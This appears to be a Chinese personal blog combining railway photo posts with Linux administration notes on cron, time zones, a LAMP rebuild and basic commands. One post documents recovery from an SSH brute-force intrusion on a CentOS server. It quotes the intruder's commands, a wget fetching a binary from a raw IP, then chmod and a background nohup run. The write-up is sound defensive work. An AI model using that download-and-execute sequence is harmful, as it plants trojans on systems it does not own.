我是个伪车迷~记忆中的绿皮车

很久没在车站看到绿皮了。在白塔公园终于看到了一节蒸爷拖着的绿皮,可惜进不去啊。

继续往前走,发现又有两节绿皮,并且门是开着的:)

在记忆中,小时候和父母一起坐火车,那些座位是通的,蒙着深色的人造革,我觉得这才叫硬座:);还有就是窗可以打开,特喜欢火车转弯,从窗户望出去特壮观……那个时候从老家海宁坐火车到上海是个比较漫长旅途,应该是以半天计的,一路走走停停,谁会想到20年后的高铁会把各个城市拉的如此近。

图片图片:

拍的时候天有点黑了,所以原谅这个破手机吧~

WP_20140119_039

 

WP_20140119_040

WP_20140119_068

YZ22B

WP_20140119_067

2010春运时候还跑过

WP_20140119_066

列车员室里面的一些东西

WP_20140119_065

WP_20140119_063

WP_20140119_062

春运:WP_20140119_061

WP_20140119_057

 

WP_20140119_054

 

WP_20140119_055

 

WP_20140119_053

WP_20140119_056

 

烧煤的哦

WP_20140119_060

 

WP_20140119_058

WP_20140119_041

非常详细WP_20140119_052

制动的吧

WP_20140119_051

这个座位是最有感觉的:

WP_20140119_050

 

WP_20140119_048

WP_20140119_046

 

 

 

WP_20140119_070

 

我是个伪火车迷~白塔公园的蒸汽火车

作为一个表面上的死宅,总有些非常奇怪的爱好,比如我对火车非常入迷~~

偶然在论坛看到有人贴图,金华一个蒸汽火车修复后运到了杭州,就放在白塔公园内内!

白塔公园的前身是闸口火车堆场,这里各种火车设施非常齐全:铁轨、岔道、站台、龙门吊、库房、以及各种信号灯,反正总之非常合我胃口!:)

到达那边已经有点晚了,只带了手机,于是胡乱拍了几张~~

顺便说下,那边其实还没有完工,我去的时候那几节货车板车刚刚油漆过才。据说5月份会开放,晚上会有亮灯,还有小火车啥的。

图片图片

这个道口有点粗糙啊=。=:

WP_20140119_001

这个才是真货:

WP_20140119_004

火车来啦!!

 

WP_20140119_018

司机室

WP_20140119_013

 

大同机车厂 1986,很年轻嘛

WP_20140119_014

经典的红车轮

WP_20140119_021

煤车

WP_20140119_009

后面挂着一节绿皮车,不过锁住了上不去

WP_20140119_008

奇葩一个

WP_20140119_037

记一次主机被入侵–centos被入侵后的检查

前几天刚刚安装好了公司外网服务器的环境,费了好大的周折恢复了网站、博客、redmine等非常重要的应用。可是才不到4天服务器就被攻陷,机房反馈网络流量异常,本来对linux安全一无所知的我,不得不赶紧补充知识起来反击,辛辛苦苦还原回来的数据可不能这么就没了啊~~

0.马上修改密码和限制ssh登录

修改密码命令:

passwd

限制ssh IP登录:

vi /etc/hosts.allow

添加例如

sshd:192.168.10.88:allow

(其中192.168.10.88是你要允许登陆ssh的ip,或者是一个网段192.168.10.0/24)

我这里直接写入公司的固定IP

vi  /etc/hosts.deny
sshd:ALL

(表示除了上面允许的,其他的ip   都拒绝登陆ssh)

为了安全,可以修改ssh端口号,我这里没有进行修改

1.首先查看登录情况

more /var/log/secure

发现了大量的ssh失败登录!基本可以肯定遭到了暴力破解!

为了方便查看,可以把secure文件自己下载下来(位于/var/log/secure):

Mar 16 04:45:07 localhost sshd[10792]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.16.129.142 user=root
Mar 16 04:45:07 localhost sshd[10788]: Failed password for root from 116.10.191.195 port 1505 ssh2
Mar 16 04:45:09 localhost sshd[10792]: Failed password for root from 218.16.129.142 port 54341 ssh2
Mar 16 04:45:09 localhost sshd[10793]: Received disconnect from 218.16.129.142: 11: Bye Bye
Mar 16 04:45:09 localhost sshd[10788]: Failed password for root from 116.10.191.195 port 1505 ssh2
Mar 16 04:45:10 localhost sshd[10799]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.16.129.142 user=root
Mar 16 04:45:12 localhost sshd[10788]: Failed password for root from 116.10.191.195 port 1505 ssh2
Mar 16 04:45:12 localhost sshd[10799]: Failed password for root from 218.16.129.142 port 55858 ssh2
Mar 16 04:45:12 localhost sshd[10800]: Received disconnect from 218.16.129.142: 11: Bye Bye

通过搜索‘Accepted password for root from’,查到了非法登录的记录!

也可以使用who /var/log/wtmp查看登录成功的用户列表:

root     pts/1        2014-03-18 10:00 (115.54.47.96)

或者last -f /var/log/wtmp查看最后成功登陆的记录:

[root@localhost /]# last -f /var/log/wtmp
root pts/1 115.54.47.96 Tue Mar 18 10:00 - 10:01 (00:00)

都看到了陌生登录记录(上面已经隐去正常记录)

2.查看命令执行记录

接下去就要看他到底干了什么,一般情况下通过history命令可以看到用户最后执行的1000条命令,也可以去下载这个记录文件(位置在你的用户下 比如/root/.bash_history)

通过该文件看到有人执行了以下命令:

wget http://23.244.53.123/lins
chmod 0755 /root/lins
nohup /root/lins > /dev/null 2>&1 &

很显然服务器被植入了木马

3.杀死陌生进程

通过进程名查询:

[root@localhost /]# ps -ef|grep lins
root 5488 1 0 10:01 ? 00:00:00 [lins]
root 9145 7661 0 16:51 pts/1 00:00:00 grep lins
root 20273 1 1 Mar16 ? 00:49:46 [lins]

可以看到运行时间刚刚课可以登录的时间相吻合。

先全部kill掉:

[root@localhost /]# kill 5488
[root@localhost /]# kill 20273
[root@localhost /]# ps -ef|grep lins
root 9184 7661 0 16:52 pts/1 00:00:00 grep lins
[root@localhost /]#

然后删除其下载的文件lins。

4.查看网络情况

推荐使用iptraf,是一个基于端口的网络流量分析软件,具有文本屏幕界面工,比较直观。在centos下可以使用

yum install -y iptraf 

进行安装。

安装完毕运行该程序:

界面入下

iptraf0

按任意键进入

iptraf00

可以选择第一项IP traffic monitor

iptraf01

选择对应的网卡,也可以选全部

m_iptraf1

然后就是一个实时监控的界面

看到一个56923的可疑端口连接着一个陌生ip的10071端口。

[root@localhost ~]# lsof -i:56923
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
freeBSD 5943 root 3u IPv4 2946951 TCP xxx.xxx.96.112:56923->xxx.xx.15.162:10071 (ESTABLISHED)

通过 lsof -i:端口号,查询到pid为5943的进程占用这个端口。

查询进程

ps -aux:
root 5484 0.0 0.0 2696 2484 ? S Mar18 0:00 /root/freeBSD /
root 5943 2.2 0.0 433944 1036 ? Ssl Mar18 29:41 [freeBSD]

kill这两个进程。

最后查看网络、进程未发现新的异常,到此,本次入侵暂时解决。

Linux自动化定时任务cron的使用

1.关于cron:(wikipedia)

crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。该词来源于希腊语 chronos(χρόνος),原意是时间。

通常,crontab储存的指令被守护进程激活, crond常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。

2.常用参数:

crontab   -l   //查看当前用户下的cron任务

crontab -e  //编辑当前用户的定时任务 ,默认vi编辑

crontab -u  user -e  //编辑用户user的定时任务

3.时间设置

# 文件格式说明
#  ——分钟 (0 - 59)
# |  ——小时 (0 - 23)
# | |  ——日   (1 - 31)
# | | |  ——月   (1 - 12)
# | | | |  ——星期 (0 - 7)(星期日=0或7)
# | | | | |
# * * * * * 被执行的命令

注:“星期域”(第五个域),0和7都被视为星期日。

4.我的例子

[root@localhost /]# crontab -e

在vi中添加:

# backup database *weekly*
30 18 * * 5 sh /home/backup_shell/backup_db.sh
# backup web *weekly*
30 18 * * 5 sh /home/backup_shell/backup_web.sh

保存退出提示

crontab: installing new crontab

上面两条是分别在每周5的18:30执行backup_db.sh和backup_web.sh进行网站和数据库备份。

Linux修改系统时区

1.查看当前时区:

[root@localhost /]# date -R
Mon, 17 Mar 2014 00:38:30 -0400

可以看到当前是美国时区(格林尼治时间-4)。

2.设置时区:

方法1:tzselect

[root@localhost home]# tzselect
Please identify a location so that time zone rules can be set correctly.
Please select a continent or ocean.
1) Africa
2) Americas
3) Antarctica
4) Arctic Ocean
5) Asia
6) Atlantic Ocean
7) Australia
8) Europe
9) Indian Ocean
10) Pacific Ocean
11) none – I want to specify the time zone using the Posix TZ format.
#?

按照说明设置即可

方法2:timeconfig;仅限于RedHat Linux 和 CentOS

会有界面:

timeconfig

 

选择你对应的时区城市即可。

方法3:dpkg-reconfigure tzdata;适用于Debian

方法4:复制相应的时区文件,替换系统时区文件;或者创建链接文件

例如:

cp /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime

centOS安装MySQL-apache-php记录-前提

公司外网服务器硬盘突然挂了。花大价钱恢复了数据,不知道怎么的这个搭建新服务器的任务就到我这边了。

关于数据恢复:

数据恢复的厂商提供的是一个原盘镜像(500G),本来想直接打开(使用WinHex),但发现速度奇慢,4个分区,其中一个目录比较多的分区一整晚还是假死状态。

后来买了个新的移动硬盘,直接用WinHex将镜像写入新硬盘。这方法效率相当高,大约5小时完成。在虚拟机中挂载,看到四个分区完好无损。

本来想直接使用这块硬盘作为虚拟机的启动盘,但是有报错信息,猜想是分区顺序问题,由于时间比较紧,没有继续折腾。

原盘上我需要的组要是mysql的data文件、apache的www下的网站程序、apache的配置文件。逐个复制出来备用。

这篇文章就简单讲下搭建、恢复步骤。

1.用sftp将以上文件上传至服务器。

2.安装mysql,并且将复制过来的data目录复制到对应的文件夹下,注意有个idata的文件也要复制。新建之前网站在mysql 中的用户并授权。

3.安装apache(也可以用centOS自带apache)和php以及其他依赖。

4.配置好php.ini和http.conf,可以直接用原服务器上的覆盖。

启动mysql、apache就大功告成了!

(看着只有四步,其实第一次装相当的折腾,后一篇文章我会将各个错误及解决记录下来)

 

64位linux安装php libz.a报错

64位linux环境下编译php,报错:

libz.a(compress.o): relocation R_X86_64_32 against a local symbol’ cannot be used when making a shared object; recompile with -fPIC

解决办法 : 重新安装 zlib

#CFLAGS=”-O3 -fPIC” ./configure –prefix=/usr/local/zlib/

#make

#make install

注意粗体部分

常用Linux命令–文件相关

ls命令

说明:列出目录下的内容

格式:ls [参数] [文件/目录]

参数说明:

-a 表示列出所有的文件,包括以”.”开头的隐藏文件

-d 如果其后接的是一个目录,则此只输出目录的名称

-l 表示以清单的形式列出文件的条目,包括文件的名称、权限、拥有者、大小、最后修改时间等

-t 表示列出的条目按最后修改的时间进行排序,默认是使用文件夹的名称来排序

-C 以文件的名称按列纵向排序

-F 在文件名后加一个符号来表示文件类型

cd命令

说明:变换工作目录至 dirNam

格式:cd [dirName] 

几个技巧:

1.cd .. 跳转到上层目录(’.’ 表示目前所在的目录,’..’  则表示目前目录的上一层目录)

2.cd ../.. 跳转到上上层目录

3.cd - 退回到上一个目录;

4.cd ~ 跳转到自己的home 目录(等同于cd)

 

cp命令

说明:将一个文件或多个复制至另一当前(重命名)或其他目录。

格式:cp [options] source dest
cp [options] source… directory

参数: 
-a 尽可能将文件状态、权限等资料都照原状予以复制。
-r 若 source 中含有目录名,则将目录下之文件亦皆依序拷贝至目的地。
-f 若目的地已经有相同档名的档案存在,则在复制前先予以删除再行复制。

范例: 
将文件 aaa 复制(已存在),并命名为 bbb :
cp aaa bbb

将所有的C语言程序拷贝至 Finished 子目录中 :
cp *.c Finished